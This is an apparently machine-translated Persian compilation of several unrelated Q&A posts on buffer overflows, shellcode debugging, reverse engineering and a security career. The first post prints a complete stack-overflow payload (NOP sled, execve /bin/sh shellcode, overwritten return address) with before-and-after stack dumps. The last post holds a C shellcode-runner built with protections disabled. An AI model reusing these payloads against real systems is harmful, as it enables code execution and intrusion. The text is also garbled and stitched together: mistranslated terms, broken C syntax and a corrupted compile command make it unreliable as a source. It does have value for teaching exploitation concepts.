سرریز بافر – shellcode تزریقی پس از دستورالعمل ترک خراب شده است

من یک سرریز بافر برای یک کلاس تمرین می کنم و من یک تکه کد دارم که از یک سیستم منبع باز قرض گرفتم. متاسفانه من نمی توانم این کد را فاش کنم.

اطلاعات سیستم من:

 nikel $ uname -a
لینوکس اوبونتو 4.15.0-29-عمومی # 31 ~ 16.04.1-اوبونتو SMP جمعه 18 ژوئیه 10:19:08 UTC 2018 i686 i686 i686 گنو / لینوکس

من از gdbgui برای اشکالزدایی که از طریق pip نصب کردم استفاده میکنم. این نسخه گرافیکی از gdb است.

 nikel $ gdbgui --version
0.13.0.0

بافر من سرشار است، buf اعلام شده حاوی 128 بایت و در 0xbfffe928 وجود دارد. مقادیر به صورت زیر با آرایه اضافه می شوند: buf [len++]، جایی که len در 0xbfffe9a8 است. آدرس برگشت در 0xbfffe9bc .

این شل کد است که من تزریق می کنم:

 " x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x31  xc0  x50  x68  x2f  x2f  x73  x68  x68  x2f  x62  x69  x6e  x89  xe3  x50  x89  xe2  x53  x89  xe1  xb0  x0b  xcd  x80  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x94  x28  xe9  xff  xbf "

در shellcode:

  1. هدف شلختگی، راه اندازی پوسته سیستم / bin / sh است. من آن را مستقیما از https://dhavalkapil.com/blogs/Shellcode-Injection/
  2. x94 کپی کردم که در انتهای آن قرار داده ام، چون آدرسهای حافظه را پر میکنم و به طور مستقیم نوشتن در آدرس بازگشت است که در 0xbfffe9bc .
  3. باز " لازم است که وارد عمل تضعیف شده و بسته شدن " لازم است از این تابع
  4. من فایل را با استفاده از vim -b ویرایش کرده ام و آن را به عنوان یک فایل .bin ذخیره کردم.

این حالت پشته درست قبل از ترک دستورالعمل:

 0xbfffe928: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe930: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe938: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe940: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe948: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe950: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe958: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe960: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe968: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe970: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe978: 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68
0xbfffe980: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50
0xbfffe988: 0x89 0xe2 0x53 0x89 0xe1 0xb0 0x0b 0xcd
0xbfffe990: 0x80 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe998: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a8: 0x99 0x00 0x00 0x00 0x22 0x00 0x00 0x00
0xbfffe9b0: 0xf0 0xef 0xff 0xbf 0x70 0xc1 0x05 0x08
0xbfffe9b8: 0xe8 0xe9 0xff 0xbf 0x28 0xe9 0xff 0xbf

این پشته پس از ترک دستورالعمل:

 0xbfffe928: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe930: 0x90 0x90 0x90 0x90 0x00 0x00 0x00 0x00
0xbfffe938: 0x00 0x37 0xdb 0xb7 0x00 0x00 0x00 0x00
0xbfffe940: 0xa0 0xe5 0xe1 0xb7 0x00 0x00 0x00 0x00
0xbfffe948: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe950: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe958: 0xa9 0xf8 0xe1 0xb7 0x00 0x60 0xf6 0xb7
0xbfffe960: 0x00 0x60 0xf6 0xb7 0x00 0x60 0xf6 0xb7
0xbfffe968: 0x8c 0xe9 0xff 0xbf 0xd6 0xfc 0xe1 0xb7
0xbfffe970: 0x01 0x00 0x00 0x00 0x90 0x90 0x90 0x90
0xbfffe978: 0x6b 0x1e 0xe1 0xb7 0x70 0xc1 0x05 0x08
0xbfffe980: 0x00 0x60 0xf6 0xb7 0xc6 0xfc 0xe1 0xb7
0xbfffe988: 0x70 0xc1 0x05 0x08 0xaf 0xe9 0xff 0xbf
0xbfffe990: 0x00 0x00 0x00 0x00 0x90 0x90 0x90 0x90
0xbfffe998: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a8: 0x99 0x00 0x00 0x00 0x22 0x00 0x00 0xcc
0xbfffe9b0: 0xf0 0xef 0xff 0xbf 0x70 0xc1 0x05 0x08
0xbfffe9b8: 0xe8 0xe9 0xff 0xbf 0x28 0xe9 0xff 0xbf

من نمی فهمم که چرا فضای حافظه buf خراب شده است. اگر برنامه را اجرا کنم، این خطا را به من می دهد:

 برنامه
 دریافت سیگنال SIGSEGV، گسل Segmentation.
0xbfffe928 در ؟؟ ()

EIP دارای مقدار 0xbfffe928 است که صحیح است. gdb می گوید نمی تواند به آدرس 0xbfffe928 دسترسی پیدا کند

مهندسی معکوس – آیا امکان سوءاستفاده از نرم افزارهای C / C ++ غیر فشرده بدون فوروارد وجود دارد؟

بله، کاملا امکان پذیر است. شما می توانید از طریق تمام مأموریت ها بخوانید، تعیین کنید چه شرایطی برای آنها حساب نشده و سپس آنها را مورد سوء استفاده قرار دهید. در حقیقت، حتی هنگام استفاده از fuzzing، شما نیاز به خواندن از طریق مونتاژ برای کشف کردن وجود دارد: یک اشکال قابل بهره برداری است، و b تعیین نحوه ایجاد این استثمار.

همه fuzzing آیا شما کمک می کند تا تعیین کنید که در آن شرایط خطا ممکن است با تلاش بیشترین ورودی ها ممکن باشد.

exploit – چرا نمیتوانم shellcode خودم را در اشکال زدایی ایمن ببینم؟

من یک تمرین برای ایجاد شل کد سفارشی (windows) انجام میدهم. هدف این است که شلختگی ایجاد کنید که فایل ورودی فایروال را حذف می کند.
من با موفقیت یک پوسته معکوس با metasploit ایجاد کردم، با استفاده از یک برنامه پایتون نوشتم، اما زمانی که من سعی می کنم shellcode خود را بنویسم هنوز موفق نشده ام. بخشی از آن به این علت است که ایمنی در شیوه ای عجیب رفتار می کند:

رسیدن به یک نقطه خاص در اجرای، ایمنی از کار می افتد. با این حال، زمانی که فشار را فشار داده و دوباره به گام بر می گردم، می توانم رشته فایلی را در eBx ببینم. بنابراین shellcode من اعدام شد، اما من نمیتوانم دستورالعملهای اعدام را ببینم.

اگر شما بتوانید با رفتار ایمنی کمک کنید، از آن قدردانی خواهم شد …

 خروج ایمنی

 رشته در EBX

 در اینجا یک عکس فوری از شلككود

ج – من آن را غیر ممکن می دانم برای یادگیری مهندسی معکوس

بنابراین اجازه دهید من این را با «من فکر نمی کنم شما یک کودک هستید»

اغلب هنگامی که من بچه ها را در مورد کشورهای مستقل مشترک المنافع آموزش می دهم و آنها می شنوم که چه کاری برای زندگی انجام می دهم، اولین سوال

من هک می کنم؟ »

همانطور که من به آنها می گویم، به شما می گویم. هک کردن چیزی نیست که شما یاد می گیرید همانطور که نتیجه سالها تجربه در مجموعه ای از موضوعات مربوط به امنیت است.

اغلب مردم شما را پیدا می کنند که از زمینه های امنیتی از پیشینه های نرم افزاری و زمینه های شبکه . چند سال پیش در مسیر امنیتی من با حضور در defcon، derbycon و سایر رویدادهای مربوط به امنیت راه اندازی شد. من یاد گرفتم که اگر من می خواستم آن را حرفه ای انجام دهم، من نیاز به حفاری عمیق تر. من متوجه شدم هیچ دانش جادویی وجود ندارد که باعث شد شما یک حرفه ای امنیتی باشید. فقط کار سخت و یادگیری در مورد آنچه لازم است برای ایجاد امنیت همه چیز.

پس از ساخت پروژه های آردوینو، راه اندازی بسیاری از وب سرور ها از ابتدا، ساختن تعداد زیادی وب سایت از پایگاه داده، گرفتن (و شکست دادن ذهن شما) OSCP من، من بالاخره به نقطه ای رسیدم که احساس راحتی می کردم مهندس نرم افزار امنیتی شرکتی که در آن زمان مشغول به کار بودم، یک برنامه قهرمان امنیتی برای مهندسین داشتم. آنها یک تیم تک تدریسی آموزش پیشرفته تر امنیتی را به عنوان مهندس امنیت تیم گذاشتند. من آن را انجام دادم و آن را دوست داشتم

حدود یک سال و نیم پیش من یک جهش را گرفتم و یک نرم افزار تشخیص نفوذ ساخت شغل را ساختم و آن را دوست دارم. اکثر کارهای من برنامه نویسی استاندارد است، اما می توانم دانش امنیتی خود را با استفاده از روش های مختلف به طور مرتب اجرا کنم.

من حدس میزنم که طولانی شده ام، یاد بگیرم شما با یادگیری تکنولوژی های مختلف این کار را انجام می دهید. اتمام وبلاگ من https://www.DotNetRussell.com و شما می توانید پروژه های من را مشاهده کرد که من را به جایی که من در حال حاضر منجر شده است.

یادگیری را ادامه دهید همانطور که در نظرات اشاره شده است، امنیت سخت است. به همین دلیل چنین تقاضایی برای آن وجود دارد! این واقعا نادر است که برای مردم آسان است. افرادی که می بینید که کارشناسان در این زمینه هستند، وجود دارد زیرا سال ها و سال ها را صرف این دانش سخت کرده اند.

مهندسی معکوس – Shellcodes ساده من segfaults را به من بدهید

من تعدادی shellcodes را از http://shell-storm.org سعی کردم و از کتابی که خواندن "Handcover shellcoder" را دارم، مشکلی در هنگام کامپایل کردن ندارم، اما وقتی آنها را اجرا می کنم، آنها را به صورت جداگانه اجرا می کنم یا پوسته ای ندارند و فقط شروع خطوط خالی
یکی از shellcodes هایی که من تلاش کردم فقط خطوط خالی را به من نشان داد:

 // shellcode.c

char shellcode [] =

    " xeb  x1a  x5e  x31  xc0  x88  x46  x07  x8d  x1e  x89  x5e  x08  x89  x46"

" x0c  xb0  x0b  x89  xf3  x8d  x4e  x08  x8d  x56  x0c  xcd  x80  xe8  xe1"

    " xff  xff  xff  x2f  x62  x69  x6e  x2f  x73  x68"؛





int main ()
{
  int (* ret) ()؛
  ret = (int (*) ()) shellcode؛
  (int) (* ret) ()؛
}

با gcc -mabm -fno-stack-protector -z کامپایل می کنم -z execstack shellcode.c -o shellcode